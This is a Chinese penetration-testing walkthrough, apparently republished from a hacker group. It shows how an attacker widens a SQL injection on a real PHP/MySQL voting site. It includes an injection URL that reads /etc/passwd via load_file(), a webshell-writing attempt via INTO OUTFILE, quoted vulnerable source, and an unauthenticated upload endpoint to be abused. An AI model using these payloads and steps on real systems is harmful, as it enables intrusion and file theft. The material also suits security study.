来源:自学PHP网 时间:2015-04-17 13:02 作者: 阅读:次
[导读] 作者注:近日看到论坛上有人发了个全能大牛的文章,颇有感慨。其实所谓的全能,是来自对基础知识的扎实根基。本文虽谈不上全能,也并非什么大做,仅为证明只要根基扎实,你也...
作者注:
近日看到论坛上有人发了个“全能大牛”的文章,颇有感慨。其实所谓的“全能”,是来自对基础知识的扎实根基。本文虽谈不上“全能”,也并非什么大做,仅为证明只要根基扎实,你也可以“全能”渗透。 本文特意选用某网站中的某一服务器上Web站点作为讲解实例,详细讲述如何根据一个小漏洞逐步分析,扩大范围完成进一步渗透的。 本文仅供研究和学习,不得用于非法用途,否则后果自负。 出于隐私保护的目的,文章所有截图和url经过处理。 相信很多人已经厌倦了这个网络里弥漫的注入,弱口令,万能密码。那么有没有遇到过注入找不到后台,数据库为root或者sa账户却无法写入webshell,得到了后台却拿不到webshell,拿到了webshell却无法提权????? 本文所阐述的例子是: 一台Linux服务器是用了Apache 2.2.10架设了php的网站,数据库为MySQL,网站使用了root账户,但是网站没有后台,也没有phpMyAdmin,服务器中存在一个注入点。因为gpc为on,所以无法写入webshell,但是可以读取服务器上一些已知路径的文件。 那么我们就通过本文来讲一下,如何通过这个注入点,进行下一步渗透的。 我们先来简单描述一下注入点(如果不懂php+MySQL的注入,请参见《各色SQL注入文章汇总》) 注入点: *.2cto.com/vote.php?id=3 这个注入点根据存在的文件名就知道,应该是一个投票页面,因为union只有一个字段,所以直接 *.2cto.com/vote.php?id=3+union+select+load_file(0x2f6574632f706173737764)+from+mysql.user 就能读到文件了。根据错误回显,得到网站路径为/usr/www。因为gpc设置on,所以 union select 一句话的hex into outfile '/usr/www/可写目录/webshell.php' 这样是得不到webshell的,查到MySQL.user中设置的host为%,但是这台服务器对外网实际并未开放3306端口,也无法外联。 那么思路是什么呢? 我们来试着读取网站文件的源码来查找一些其他的漏洞。 =========================正文开始================================ 我们首先来读取一下/usr/www/vote.php这个存在注入的文件的代码(节选,有删改): require ('xajax/xajax.inc.php'); $link=mysql_connect("localhost","root","*******") or die ('数据库连接失败:'.mysql_error()); $select=mysql_select_db("vote", $link); $SID=$_GET['sid']; $typeId=$_GET['typeid']; /*这是第1个函数,显示投票结果*/ function shownum($SID,$typeId){//点击按钮的返回值 $sql = "select numUp from zhendang where SID = ".$SID." and typeId=".$typeId." "; $info=mysql_query($sql); $it=mysql_fetch_array($info); return $it['0']; } /*这是第2个函数,编者已做注释,是投票计数函数*/ function updatemysql($SID,$typeId){//点击按钮 $sqladd="update zhendang set numUp=numUp+1 where SID = ".$SID." and typeId=".$typeId." "; mysql_query($sqladd); } 唯一能看到的就是select一个字段数的注入。这里似乎能够利用的可能性只有注入中的load_file()。 当然了,思路不能只局限在vote.php一个页面,因为要挖漏洞嘛,就一定要深。我读了很多php文件,都没有找到eval()函数,或者是assert()又或者是exec()这样的凡是能造成安全问题的函数。 不过有一个文件引起了我的注意,有一个information.php的文件,看一下文件的代码是哪里引起了我的注意(节选代码,有删减) if($upload_pic!=""){ /*下面的#注释都是由编写者添加,有调试代码有功能注释*/ $allowed_types=array('jpg','gif','png'); #正则表达式匹配出上传文件的扩展名 preg_match('|\.(\w+)$|', $com_pic,$ext); #print_r($ext); #转化成小写 $ext = strtolower($ext[1]); #判断是否在被允许的扩展名里 if(!in_array($ext, $allowed_types)){ $objResponse->addAlert('不被允许的文件类型') ; return $objResponse; www.2cto.com } } 这里有一个函数用于检查上传文件的后缀名。既然有检查功能,想必是会有上传功能的,虽然有后缀名检查,但是我们还是看看为好。 information.php文件中的上传功能用浏览器打开后并没有发现,估计是要注册以后登陆才能用的。 那么再看看它的源码: 看来这个上传以后的文件是传给form.php的,而information.php只处理上传文件的后缀名检查。那么我们再看看form.php的代码(节选,有删改): include("inc.php"); $user=$_POST['user']; $area=$_POST['area']; $type=$_POST['type']; $title=$_POST['title']; $context=$_POST['context']; $pic=$HTTP_POST_FILES['pic']; //echo $pic[size]; if($title==""){echo "alert('警告!')";exit;} if($context==""){echo "alert('警告!')";exit;} if(!$pic['name']==""){ //....略 else { $sql="insert into plaint(user,area,type,title,content,time) values ('".$user."','".$area."','".$type."','".$title."','".$context."','".date("Y-m-d H:i:s")."')"; $link=mysql_connect("localhost","root","*******")or die("数据库异常"); $select=mysql_select_db("datab", $link); @mysql_query($sql); @mysql_close(); //...略 粗略的看了一下,inc.php当中居然没有session检查的相关,也就是说,任何人都可以POST数据到form.php 那么我们就根据页面代码构造一个本地POST的html 关于构造本地html文件POST数据,可以参考一下这篇文章:《POST表单与上传突破JS后缀名检查分析》 作者 YoCo Smart 摘自:Silic Group Hacker Army [BlackBap.Org] |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com